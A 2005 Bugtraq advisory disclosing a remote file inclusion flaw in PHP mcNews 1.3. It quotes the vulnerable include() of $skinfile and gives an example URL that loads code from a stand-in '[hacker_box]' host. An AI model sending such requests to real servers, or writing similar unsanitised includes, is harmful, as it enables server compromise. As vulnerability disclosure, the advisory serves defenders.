[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    PHP mcNews <= 1.3 arbitrary file inclusion (VXSfx)
From:       Filip Groszynski <groszynskif () gmail ! com>
Date:       2005-03-07 19:45:07
Message-ID: 20050307194507.28650.qmail () www ! securityfocus ! com
[Download RAW message or body]



-- == -- == -- == -- == -- == -- == -- == -- == -- == --
Name:       PHP mcNews
Version:    1.3
Homepage:   http://www.phpforums.net/index.php?dir=dld

Author:     Filip Groszynski   (VXSfx)
Date:       7 March 2005
-- == -- == -- == -- == -- == -- == -- == -- == -- == --

Vulnerable code in mcNews/admin/header.php:

  <?
    // mcNews 1.3  Marc Cagninacci marc@phpforums.net
  ?>

  ...

  <?
    if($voir!='') {
      $skinfile=strstr($skinfile, 'skin');
    include ("$skinfile");
  ?>

  ...

--------------------------------------------------------

Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/mcNews/admin/header.php?skinfile=http://[hacker_box]/

--------------------------------------------------------

Contact:

    Author:    Filip Groszynski   <VXSfx>
    Location:  Poland <Warsaw>
    Email:     groszynskif <at> gmail <dot> com
    HP:        http://shell.homeunix.org

-- == -- == -- == -- == -- == -- == -- == -- == -- == --
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic